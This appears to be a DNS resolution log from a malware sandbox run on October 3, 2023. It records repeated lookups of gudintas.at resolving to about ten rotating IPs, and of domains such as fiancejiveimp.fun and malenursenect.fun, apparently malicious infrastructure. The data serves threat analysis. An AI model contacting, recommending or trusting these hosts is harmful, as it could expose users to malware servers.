Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:28.977442980 CEST	8.8.8.8	192.168.2.3	0x4fda	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:30.047101974 CEST	8.8.8.8	192.168.2.3	0xef90	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:54:31.730473995 CEST	8.8.8.8	192.168.2.3	0x47f4	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:04.166026115 CEST	8.8.8.8	192.168.2.3	0x1ab0	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:05.228233099 CEST	8.8.8.8	192.168.2.3	0xdc05	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:07.038897991 CEST	8.8.8.8	192.168.2.3	0xc73a	No error (0)	h170811.srv22.test-hf.su		91.227.16.22	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:10.944413900 CEST	8.8.8.8	192.168.2.3	0x86ea	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:11.847640038 CEST	8.8.8.8	192.168.2.3	0x5411	Server failure (2)	fullppc.xyz	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.028397083 CEST	8.8.8.8	192.168.2.3	0x2437	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.028397083 CEST	8.8.8.8	192.168.2.3	0x2437	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.277978897 CEST	8.8.8.8	192.168.2.3	0x48b1	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.599880934 CEST	8.8.8.8	192.168.2.3	0xc7b0	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:12.599880934 CEST	8.8.8.8	192.168.2.3	0xc7b0	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:13.282676935 CEST	8.8.8.8	192.168.2.3	0xb72c	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:13.282676935 CEST	8.8.8.8	192.168.2.3	0xb72c	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:13.821806908 CEST	8.8.8.8	192.168.2.3	0xc99	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:13.821806908 CEST	8.8.8.8	192.168.2.3	0xc99	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:14.510869026 CEST	8.8.8.8	192.168.2.3	0x90e	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:14.510869026 CEST	8.8.8.8	192.168.2.3	0x90e	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:15.412400007 CEST	8.8.8.8	192.168.2.3	0xa73d	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:15.412400007 CEST	8.8.8.8	192.168.2.3	0xa73d	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:15.948472023 CEST	8.8.8.8	192.168.2.3	0xb6ee	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:15.948472023 CEST	8.8.8.8	192.168.2.3	0xb6ee	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		186.147.159.19	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		200.92.136.254	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		186.13.17.220	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		14.33.209.147	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:16.907373905 CEST	8.8.8.8	192.168.2.3	0xad7c	No error (0)	gudintas.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:17.778377056 CEST	8.8.8.8	192.168.2.3	0x3754	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:17.778377056 CEST	8.8.8.8	192.168.2.3	0x3754	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.179146051 CEST	8.8.8.8	192.168.2.3	0xeabb	Refused (5)	farformafor.fun	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.363257885 CEST	8.8.8.8	192.168.2.3	0xc1ac	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.363257885 CEST	8.8.8.8	192.168.2.3	0xc1ac	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.911356926 CEST	8.8.8.8	192.168.2.3	0xe311	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:18.911356926 CEST	8.8.8.8	192.168.2.3	0xe311	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.558413029 CEST	8.8.8.8	192.168.2.3	0x6f8b	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.558413029 CEST	8.8.8.8	192.168.2.3	0x6f8b	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.675420046 CEST	8.8.8.8	192.168.2.3	0x3f9	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:19.675420046 CEST	8.8.8.8	192.168.2.3	0x3f9	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.113327980 CEST	8.8.8.8	192.168.2.3	0xd36e	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.113327980 CEST	8.8.8.8	192.168.2.3	0xd36e	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.347726107 CEST	8.8.8.8	192.168.2.3	0x1285	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.347726107 CEST	8.8.8.8	192.168.2.3	0x1285	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.859746933 CEST	8.8.8.8	192.168.2.3	0x107c	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:20.859746933 CEST	8.8.8.8	192.168.2.3	0x107c	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.402916908 CEST	8.8.8.8	192.168.2.3	0x4eb7	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.402916908 CEST	8.8.8.8	192.168.2.3	0x4eb7	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.462615013 CEST	8.8.8.8	192.168.2.3	0xa47b	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:21.462615013 CEST	8.8.8.8	192.168.2.3	0xa47b	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.045336008 CEST	8.8.8.8	192.168.2.3	0x3d97	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.045336008 CEST	8.8.8.8	192.168.2.3	0x3d97	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.469707966 CEST	8.8.8.8	192.168.2.3	0x7f47	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.469707966 CEST	8.8.8.8	192.168.2.3	0x7f47	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.635590076 CEST	8.8.8.8	192.168.2.3	0x7a6d	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:22.635590076 CEST	8.8.8.8	192.168.2.3	0x7a6d	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.014930010 CEST	8.8.8.8	192.168.2.3	0xf1cd	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.014930010 CEST	8.8.8.8	192.168.2.3	0xf1cd	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.181235075 CEST	8.8.8.8	192.168.2.3	0xd23e	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.181235075 CEST	8.8.8.8	192.168.2.3	0xd23e	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.690687895 CEST	8.8.8.8	192.168.2.3	0x54c7	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.690687895 CEST	8.8.8.8	192.168.2.3	0x54c7	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.784531116 CEST	8.8.8.8	192.168.2.3	0xe13c	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:23.784531116 CEST	8.8.8.8	192.168.2.3	0xe13c	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.222821951 CEST	8.8.8.8	192.168.2.3	0xd596	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.222821951 CEST	8.8.8.8	192.168.2.3	0xd596	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.349270105 CEST	8.8.8.8	192.168.2.3	0x3d5f	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.349270105 CEST	8.8.8.8	192.168.2.3	0x3d5f	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.674904108 CEST	8.8.8.8	192.168.2.3	0x350	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.674904108 CEST	8.8.8.8	192.168.2.3	0x350	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.887358904 CEST	8.8.8.8	192.168.2.3	0xd66c	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:24.887358904 CEST	8.8.8.8	192.168.2.3	0xd66c	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.219521046 CEST	8.8.8.8	192.168.2.3	0xe1a4	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.219521046 CEST	8.8.8.8	192.168.2.3	0xe1a4	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.696755886 CEST	8.8.8.8	192.168.2.3	0xd6fd	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.696755886 CEST	8.8.8.8	192.168.2.3	0xd6fd	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.813055038 CEST	8.8.8.8	192.168.2.3	0xefdf	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:25.813055038 CEST	8.8.8.8	192.168.2.3	0xefdf	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.420981884 CEST	8.8.8.8	192.168.2.3	0x9f5c	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.420981884 CEST	8.8.8.8	192.168.2.3	0x9f5c	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.716892958 CEST	8.8.8.8	192.168.2.3	0xb258	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:26.716892958 CEST	8.8.8.8	192.168.2.3	0xb258	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.064409971 CEST	8.8.8.8	192.168.2.3	0x5389	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.064409971 CEST	8.8.8.8	192.168.2.3	0x5389	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.261826992 CEST	8.8.8.8	192.168.2.3	0x89ba	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.261826992 CEST	8.8.8.8	192.168.2.3	0x89ba	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.604238987 CEST	8.8.8.8	192.168.2.3	0xf3f0	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.604238987 CEST	8.8.8.8	192.168.2.3	0xf3f0	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.996993065 CEST	8.8.8.8	192.168.2.3	0x6204	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:27.996993065 CEST	8.8.8.8	192.168.2.3	0x6204	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.198657990 CEST	8.8.8.8	192.168.2.3	0xc8c5	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.198657990 CEST	8.8.8.8	192.168.2.3	0xc8c5	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.470315933 CEST	8.8.8.8	192.168.2.3	0x28c4	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.470315933 CEST	8.8.8.8	192.168.2.3	0x28c4	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.791251898 CEST	8.8.8.8	192.168.2.3	0xd304	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:28.791251898 CEST	8.8.8.8	192.168.2.3	0xd304	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.009104013 CEST	8.8.8.8	192.168.2.3	0xeceb	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.009104013 CEST	8.8.8.8	192.168.2.3	0xeceb	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.399643898 CEST	8.8.8.8	192.168.2.3	0x2145	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.399643898 CEST	8.8.8.8	192.168.2.3	0x2145	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.465882063 CEST	8.8.8.8	192.168.2.3	0x3aa6	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.465882063 CEST	8.8.8.8	192.168.2.3	0x3aa6	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.980228901 CEST	8.8.8.8	192.168.2.3	0xa97c	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:29.980228901 CEST	8.8.8.8	192.168.2.3	0xa97c	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:30.577316999 CEST	8.8.8.8	192.168.2.3	0x803a	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
